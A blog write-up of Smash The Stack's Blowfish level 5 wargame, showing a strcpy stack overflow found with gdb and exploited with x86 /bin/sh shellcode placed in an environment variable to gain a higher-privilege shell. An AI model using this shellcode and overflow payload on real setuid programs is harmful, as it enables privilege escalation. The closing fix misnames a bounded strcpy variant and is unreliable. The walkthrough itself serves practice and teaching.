Blowfish Level 5 – More Stack Smashing

Today we’re going to be looking at the Blowfish wargame from Smash The Stack, working on level 5.  As always, the password will be stripped from this page and replaced with Y’s.  To begin, let’s use the password we got at the end of level 4 to ssh into Blowfish as level5.  Upon logging in, we are told that this level is another buffer overflow located at /levels/level5, so let’s get a directory listing and see what we’re working with today:

level5@blowfish:~$ ls -la /levels | grep level5
-r-sr-x— 1 level5 level4 11775 2006-10-09 18:02 level4
-r-sr-x— 1 level6 level5 12142 2006-10-09 18:02 level5
-r——– 1 level5 level5 272 2006-10-09 18:02 level5.c

Ok, looks like we have the correct SUID executable at /home/level5.  We also have what looks to be the programs source code.  So, let’s look at that source code:

level5@blowfish:~$ more /levels/level5.c
#include <stdio.h>

int main()
{
char buffer[1024];

if (getenv(“VULN”) == NULL) {
fprintf(stderr,”Try Again!!\n”);
exit(1); }

strcpy(buffer, (char *)getenv(“VULN”));

printf(“Environment variable VULN is:\n\”%s\”.\n\n”, buffer);
return 0;
}

Looking at the code we see there is a 1024 byte buffer created.  Next, the program checks that the environmental variable “VULN” exists, if not the program gives an error and exits.  Next, strcpy is used to copy the contents of the environmental variable “VULN” into our 1024 byte buffer we created earlier.  Finally the contents of the buffer is written to the screen with printf.

Looking at the code we can see that there is unsafe use of the strcpy function.  Since the two variable version is used, which doesn’t support a max number of characters to copy, if the environmental variable “VULN” is longer than 1024 bytes the buffer will be overflows and could result in arbitrary code execution.  This sounds like a good avenue of attack, so let’s look into it further.

All we should have to do is write the correct string to the environmental variable “VULN”, so let’s make an attempt.  We know we need VULN to be at least 1024 bytes long, and that there will be a few extra bytes based on the compiler.  So let’s take a guess at about 1024 + 20 = 1044 bytes of padding.  This can be done easily with perl as follows:

level5@blowfish:~$ export VULN=`perl -e ‘print “A”x1044,”BBBB”‘`

Now let’s run the program and see what happens.  If the string we assigned to VULN was long enough, we should expect to get a Segmentation fault:

level5@blowfish:~$ /levels/level5
Environment variable VULN is:
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB”.

Segmentation fault

Great, just what we wanted.  Now let’s load up gdb and see if we can determine the exact number of bytes we need to write before we overwrite the return address of the call stack:

level5@blowfish:~$ gdb /levels/level5

(gdb) run
Starting program: /levels/level5
Environment variable VULN is:
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB”.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit

Alright.  Those familiar with gdb should know that the final 0x41414141 towards the bottom represents the location in memory which the program tried to execute before blowing up.  This is the “address” which was the return address on the call stack before the program quit.  The reason for the value of 41414141 is that it was overwritten with the 32 bit ascii string “AAAA” as 41 is the hex value of ascii “A”.  So let’s reduce the number of A’s we’re writing to try and position the four B’s directly over the return address.  To do this we need to go back to the shell and re-assign the value to VULN, then we can try gdb again:

level5@blowfish:~$ export VULN=`perl -e ‘print “A”x1036,”BBBB”‘`
level5@blowfish:~$ gdb /levels/level5

(gdb) run
Starting program: /levels/level5
Environment variable VULN is:
“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB”.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) quit

Aha!  What a lucky guess on the second try.  So we must write 1036 bytes into the buffer before we start overwriting the return address.  The next thing we need to do is get our shell code, put it in memory, and get the starting memory address.  However, let’s try something different this level instead of last.  Let’s try and place our shell code in the environmental variable VULN, it’s certainly long enough.  First, let’s make our C program to get the memory location of an environmental variable:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
if(!argv[1])
exit(1);
printf(“%#x\n”, getenv(argv[1]));
return 0;
}

Now let’s go ahead and check where VULN is located:

level5@blowfish:~$ /tmp/.getmem VULN
0xbfffdab4

Now, let’s look at our shell code.  Most importantly, we need to know how many byte it is:

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89
\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

Counting it up, it looks like it’s going to be 52 bytes.  So 1036 – 52 = 984.  So we’ll need 984 A’s after the shell code.  Also, instead of having B’s at the end, we need to write the memory location of our shell code.  So let’s look at defining VULN again:

level5@blowfish:~$ export VULN=$’\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89
\xe1\x31\xd2\xb0\x0b\xcd\x80’`perl -e ‘print “A”x984,”\xba\xda\xff\xbf”‘`

Now that we have our shell code in memory and our overflow string determined, we can go a head and try to execute the vulnerable program:

level5@blowfish:~$ /levels/level5
Environment variable VULN is:
“1ÛØ°Í1ÛØ°.Í1ÀPh//shh/binãPSá1Ò°
ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAºÚÿ¿”.

sh-3.2$ whoami
level6
sh-3.2$ more /pass/level6
YYYYYYYYYY

To avoid this attack, proper use of strcpy is recommended.  There is a different version of strcpy than the one used here which takes as a third parameter the maximum number of characters to copy.  Using that and providing the length of the buffer (minus one, don’t forget the null character at the end of a char buffer to mark the end of a string) would prevent these types of buffer overflow attacks.

This entry was posted in Blowfish, Smash The Stack, Wargames and tagged , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published.